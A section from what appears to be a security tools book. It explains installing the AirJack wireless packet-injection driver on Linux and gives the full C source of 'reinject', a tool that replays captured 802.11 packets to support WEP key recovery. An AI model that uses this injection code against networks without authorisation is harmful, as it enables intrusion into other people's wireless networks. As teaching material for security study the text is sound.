11.5. Introducing AirJackAirJack is a Linux 2.4 kernel device driver for wireless packet injection, and it's available at http://sourceforge.net/projects/airjack/. AirJack comes with several tools and example programs for demonstrating several wireless security issues. Because AirJack is a device driver, it supports most of the wide variety of 802.11b PCMCIA cards based on the Intersil Prism 2 chipset. 11.5.1. Installing AirJackAirJack can be challenging to install if you're not familiar with the configuration of the PCMCIA subsystem in Linux. The installation process consists of the following steps:
This installs a device driver called airjack_cs.o into the modules directory for your Linux system. This driver isn't loaded by default for supported cards because the PCMCIA subsystem has to be configured to load the driver for your card. You can do this by creating an airjack.conf file in your PCMCIA configuration directory (commonly /etc/pcmcia) containing the following: device "airjack_cs" class "network" module "airjack_cs" This registers the airjack_cs.o module as a valid PCMCIA device driver. To configure PCMCIA to load this driver, however, PCMCIA needs to be told to load the AirJack driver rather than other installed Prism 2 drivers. To configure PCMCIA to load a driver for a specific card, we need to know the card identification, which we can determine by running the cardctl ident command as follows: $ cardctl ident Socket 0: product info: "SMC", "SMC2532W-B EliteConnect Wireless Adapter", "", "" manfid: 0xd601, 0x0005 function: 6 (network) This gives the manufacturer identification numbers and description of the card. You can use either the manfid or product info fields to match the card to load the AirJack driver. You should add an entry to the airjack.conf file, as shown in Example 11-10. Example 11-10. Example airjack.conf file#example airjack pcmcia config file device "airjack_cs" class "network" module "airjack_cs" card "Intersil PRISM2 11 Mbps Wireless Adapter" version "D", "Link DWL-650 11Mbps WLAN Card" manfid 0x0156, 0x0002 bind "airjack_cs" card "SMC 2532W-B" #version "SMC", "SMC2532W-B EliteConnect Wireless Adapter" manfid 0xd601, 0x0005 bind "airjack_cs" You should comment out matching values in other configuration files in the PCMCIA configuration directory. 11.5.2. Using AirJackAirJack is a device driver supporting arbitrary packet capture and creation, and although you can use libpcap with AirJack to capture packets, you also can create packets using the Linux low-level sockets interface. To show you how to use AirJack for packet injection, we will use a simple reinjection tool called reinject. 11.5.2.1 Overview of reinjectreinject is designed to capture a packet from the interface using libpcap, and then to reinject the captured packet into the existing wireless conversation. This type of tool can be extended for use in attacking WEP encryption with a static key by capturing a packet that generates a response (i.e., an ARP request) and replaying it on the encrypted network many times to capture the encrypted replies (i.e., ARP replies). This works on networks with static WEP keys due to the lack of replay protection in the initial 802.11 standards. In conjunction with other attacks on WEP encryption, this approach can make it easier to determine a static WEP key. reinject is a very simple tool in that it does not have the ability to change the channel on which it is capturing packets or sending data. AirJack ships with several examples that show you how to change channels within your tool. 11.5.2.2 Using sockets with AirJackTo open the AirJack interface for packet injection, we first need to create a socket, as shown in Example 11-11. The socket function is documented in the Linux manpages in Section 2 (man 2 socket). In this example we open the socket to use the Linux low-level PF_PACKET interface (man 7 packet) in a raw mode for all possible protocols. Example 11-11. Opening the socket/* open socket */ if ((fd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) { fprintf (stderr, "Can't open socket\n"); exit (1); } To send and receive in raw mode, we need to bind the open socket to a specific network interface. This requires finding the interface index as stored internally using an ioctl( ) call, as shown in Example 11-13 (see man 7 netdevice for more details on valid ioctl). Example 11-12. Finding the interface index/* find the interface index */ strncpy (req.ifr_name, device, IFNAMSIZ); if (ioctl (fd, SIOCGIFINDEX, &req) < 0) { fprintf (stderr, "Can't find interface index\n"); exit (1); } Once we have the interface index and the socket, we can bind the socket to the interface, as shown in Example 11-13. Example 11-13. Binding the socket and interface/* bind socket to interface */ addr.sll_ifindex = req.ifr_ifindex; addr.sll_protocol = htons (ETH_P_ALL); addr.sll_family = AF_PACKET; if (bind (fd, (struct sockaddr *) &addr, sizeof (struct sockaddr_ll)) < 0) { fprintf (stderr, "Can't bind interface\n"); exit (1); } Now we can start sending data to the wireless network, as shown in Example 11-14. Example 11-14. Sending a packet out on the wireless networkif ((r = write (fd, (const void *) packet, header->len)) < 0) { fprintf (stderr, "Error writing packet: %d\n", cnt); } 11.5.3. The reinject Tool Source CodeExample 11-15 provides the full source code to the reinject tool. This should compile on most Linux systems as follows: gcc -o reinject reinject.c This was written for Gentoo Linux. Other Linux distributions might require some minor tweaks to compile. Example 11-15. Source code to the reinject tool#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <string.h> #include <asm/types.h> #include <netinet/in.h> #include <sys/ioctl.h> #include <linux/if.h> #include <sys/types.h> #include <sys/socket.h> #include <netpacket/packet.h> #include <net/ethernet.h> #include <time.h> #include <pcap.h> #include "80211.h" #include "airjack.h" #define PACKLEN 101 /* globals */ int fd; /* socket file descriptor */ /* usage */ void usage (char *name) { printf ("%s - Simple WEP reinjection attack\n", name); printf ("Usage: %s [-i interface]\n", name); printf (" -i Interface to use\n"); exit (1); } void packet_handler (u_char * user, const struct pcap_pkthdr *header, const u_char * packet) { int i, r; static int cnt = 0; if ((header->len < PACKLEN) && (packet[0] == 0x08)) { printf ("reinjecting packet %d %x %x\n", cnt++, packet[0], packet[1]); for (i = 0; i < 2; i++) { if ((r = write (fd, (const void *) packet, header->len)) < 0) { fprintf (stderr, "Error writing packet: %d\n", cnt); } printf ("Wrote %d\n", r); } } } int main (int argc, char *argv[]) { char *device = NULL; /* device for sniffing/sending */ char o; /* for option processing */ char errbuf[PCAP_ERRBUF_SIZE]; /* pcap error messages */ pcap_t *handle; /* libpcap handle */ struct sockaddr_ll addr; /* link layer socket handle */ struct ifreq req; /* interface request */ time_t tv; /* time */ while ((o = getopt (argc, argv, "i:")) > 0) { switch (o) { case 'i': device = optarg; break; default: usage (argv[0]); break; } } if (device == NULL) device = "aj0"; /* open the device with pcap */ if ((handle = pcap_open_live (device, 3000, 1, 0, errbuf)) == NULL) { fprintf (stderr, "Error opening pcap: %s\n", errbuf); exit (1); } if (pcap_datalink (handle) != DLT_IEEE802_11) { fprintf (stderr, "Wrong link layer - is %s an airjack interface?\n", device); exit (1); } if (pcap_setnonblock (handle, 1, errbuf) < 0) { fprintf (stderr, "Can't set non blocking: %s\n", errbuf); exit (1); } /* open socket */ if ((fd = socket (PF_PACKET, SOCK_RAW, htons (ETH_P_ALL))) < 0) { fprintf (stderr, "Can't open socket\n"); exit (1); } /* find the interface index */ strncpy (req.ifr_name, device, IFNAMSIZ); if (ioctl (fd, SIOCGIFINDEX, &req) < 0) { fprintf (stderr, "Can't find interface index\n"); exit (1); } /* bind socket to interface */ addr.sll_ifindex = req.ifr_ifindex; addr.sll_protocol = htons (ETH_P_ALL); addr.sll_family = AF_PACKET; if (bind (fd, (struct sockaddr *) &addr, sizeof (struct sockaddr_ll)) < 0) { fprintf (stderr, "Can't bind interface\n"); exit (1); } tv = time (NULL); while ((time (NULL) - tv) < 30) { pcap_dispatch (handle, -1, packet_handler, NULL); } return 0; } |